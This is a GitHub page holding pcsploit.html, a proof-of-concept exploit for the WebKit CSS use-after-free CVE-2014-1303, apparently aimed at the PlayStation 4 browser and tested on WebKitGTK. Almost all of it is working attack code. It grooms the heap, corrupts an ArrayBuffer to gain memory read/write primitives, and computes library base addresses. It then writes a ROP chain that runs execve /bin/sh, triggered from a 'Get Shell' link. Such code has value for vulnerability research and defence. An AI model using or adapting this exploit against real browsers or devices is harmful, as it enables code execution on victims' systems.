PS4-2014-1303-POC/pcsploit.html at master · Fire30/PS4-2014-1303-POC · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
<html>
<style>html, a1,a2,a3,a4,a5,a6 em:nth-child(5){
    height: 500px
}
</style>


<script>

// Tested to work on up to date Ubuntu 12.04 compiled in release mode from
// https://svn.webkit.org/repository/webkit/releases/WebKitGTK/webkit-2.1.2/
var shui = new Array(0x1000);
var inputs = new Array(0x500);
var arraybufferviews = new Array(0x500);
var corrupted = undefined;
var u32;
var cbuf;

function load() {
  // Align the memory how we want it
  for(var i = 0; i < shui.length;i+=2)
  {
      inputs[i/2] =  document.createElement("input");
      inputs[i/2].type = "number";
      shui[i] = new ArrayBuffer(0x40);
      shui[i + 1] = new ArrayBuffer(0x20000);
  }
  // Trigger the vulnrablity.
  var cssRules = window.getMatchedCSSRules(document.documentElement);
  cssRules[0].selectorText = 'a1,a2';

  // Free the input elements and put in our ArrayBufferView objects
  for(var i = 0; i < inputs.length;i+=1)
  {
        inputs[i].type = "";
        arraybufferviews[i] = new Uint32Array(shui[i/2]);
        // Need a value to find in memory
        arraybufferviews[i][0] = 0x77777777;
  }

  // Start the actual exploit
  setTimeout(exploit, 0);

}

function exploit()
{
  // Find the ArrayBuffer that has had it size modified
  for (var i = 0; i < shui.length; ++i) {
      if (shui[i].byteLength == 0xc0) {
          corrupted = shui[i];
          debug_log("Found corrupted index at 0x" + i.toString(16));
          break;
      }
  }
  // If we find nothing, crash the application.
  // Shouldn't happen based on how tcmalloc allocates memory
  if(!corrupted)
    crash();

  u32 = new Uint32Array(corrupted);
  // Need to find the ArrayBufferView that we have control over
  u32[0x18] += 0x10;
  for(var i = 0; i < arraybufferviews.length;i++)
  {
      tmp_array = arraybufferviews[i].subarray(0,arraybufferviews[i].length);
      if(tmp_array[0] != 0x77777777 && arraybufferviews[i].length > 0x40)
      {
        cbuf = arraybufferviews[i];
        u32[0x18] -= 0x10;
        debug_log("Found controlled arraybufferview!")
        break;
      }
  }

  // Need to keep track of where the buffer is
  oldlow = u32[0x14]
  oldhigh = u32[0x15]

  // Various calculations to get the base addresses of libraries that we use gadgets for
  // Javascript is stupid and doesn't support 64bit integers so we need to use 3rd party lib
  var js_core_base_addr = new dcodeIO.Long(u32[0x10], u32[0x11], true).sub(0x4192c50);
  var webkitgtk_base_addr = js_core_base_addr.add(0x2290000);
  var libc_base_addr = js_core_base_addr.add(0x780000);
  var stack_base = js_core_base_addr.add(0xc522000);

  js_core_base_addr_low = js_core_base_addr.getLowBitsUnsigned()
  js_core_base_addr_high = js_core_base_addr.getHighBitsUnsigned()
  webkitgtk_base_addr_low = webkitgtk_base_addr.getLowBitsUnsigned()
  webkitgtk_base_addr_high = webkitgtk_base_addr.getHighBitsUnsigned()
  libc_base_addr_low = libc_base_addr.getLowBitsUnsigned()
  libc_base_addr_high = libc_base_addr.getHighBitsUnsigned()
  stack_base_low = stack_base.getLowBitsUnsigned()
  stack_base_high = stack_base.getHighBitsUnsigned()

  debug_log("libjavascriptcore base address = 0x" + js_core_base_addr.toString(16))
  debug_log("webkitgtk base address = 0x" + webkitgtk_base_addr.toString(16))
  debug_log("libc base address = 0x" + libc_base_addr.toString(16))
  debug_log("stack base address = 0x" + stack_base.toString(16))

  // vtable pointer to byteLength
  // The instruction pushes rax, and jmps to *rax
  cbuf[2] = webkitgtk_base_addr_low + 0x49e2
  cbuf[3] = webkitgtk_base_addr_high


  // *rax is the first element in our array.
  // pop rsp then jmps to *(rax + 0x30)
  cbuf[0] = webkitgtk_base_addr_low + 0x19debb6
  cbuf[1] = webkitgtk_base_addr_high
  // adds 0x40 to rsp
  // so stack pointer will point to cbuf[0x10]
  cbuf[0xc] = webkitgtk_base_addr_low + 0x538100;
  cbuf[0xd] = webkitgtk_base_addr_high


  rop_chain = []
  //rop chain goes here starting at the index of 0x10 in cbuf

  // ROP chain to execute execve /bin/sh
  rop_chain.push(libc_base_addr_low + 0x23d24);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(0x69622f2f);
  rop_chain.push(0x68732f6e);

  rop_chain.push(libc_base_addr_low + 0x1b8a);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(u32[0x14] + 0x2000);
  rop_chain.push(u32[0x15]);

  rop_chain.push(libc_base_addr_low + 0x9f9b7);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(0xdeadbeef);
  rop_chain.push(0xdeadbeef);
  rop_chain.push(0xdeadbeef);
  rop_chain.push(0xdeadbeef);

  rop_chain.push(libc_base_addr_low + 0x8a54f);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(libc_base_addr_low + 0x229f2);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(u32[0x14] + 0x2008);
  rop_chain.push(u32[0x15]);

  rop_chain.push(libc_base_addr_low + 0x355a9);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(libc_base_addr_low + 0x229f2);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(u32[0x14] + 0x2000);
  rop_chain.push(u32[0x15]);

  rop_chain.push(libc_base_addr_low + 0x23d25);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(u32[0x14] + 0x2008);
  rop_chain.push(u32[0x15]);

  rop_chain.push(libc_base_addr_low + 0x1b8a);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(u32[0x14] + 0x2008);
  rop_chain.push(u32[0x15]);

  rop_chain.push(libc_base_addr_low + 0x1f15b);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(0x01010101);
  rop_chain.push(0x01010101);

  rop_chain.push(libc_base_addr_low + 0x23950);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(0x0101013c);
  rop_chain.push(0x01010101);

  rop_chain.push(libc_base_addr_low + 0x7a3e9);
  rop_chain.push(libc_base_addr_high);

  rop_chain.push(0xdeadbeef);
  rop_chain.push(0xdeadbeef);
  rop_chain.push(0xdeadbeef);
  rop_chain.push(0xdeadbeef);
  rop_chain.push(0xdeadbeef);
  rop_chain.push(0xdeadbeef);

  rop_chain.push(libc_base_addr_low + 0xbff75);
  rop_chain.push(libc_base_addr_high);

  // Write the rop chain to the buffer
  for(var i = 0; i < rop_chain.length; i++)
    cbuf[0x10 + i] = rop_chain[i]

  debug_log("Finished writing ROP chain!")
}

function link_clicked()
{
  debug_log("Overwriting vtable and executing ROP chain!")
  // Make the vtable point to our buffer
  u32[0x10] = u32[0x14];
  u32[0x11] = u32[0x15];
  // Starts execution of our rop chain
  cbuf.byteLength;
}

// read8 and write8 taken from Liang Chen's presentation on CVE 2014-1303
function read8(addr_low,addr_high)
{
  u32[0x14] = addr_low;
  u32[0x15] = addr_high;
  var result = [cbuf[0],cbuf[1]];
  u32[0x14] = oldlow;
  u32[0x15] = oldhigh;
  return result;
}

function write8(addr_low,addr_high,value_low,value_high)
{
  u32[0x14] = addr_low;
  u32[0x15] = addr_high;
  cbuf[0] = value_low;
  cbuf[1] = value_high;
  u32[0x14] = oldlow;
  u32[0x15] = oldhigh;
  return;
}

</script>

<script src="/scripts/jquery.min.js"></script>
<script src="/scripts/long.js"></script>
<script src="/scripts/utils.js"></script>
<a href="javascript:link_clicked()">Get Shell</a>
<iframe onload=load()>
</html>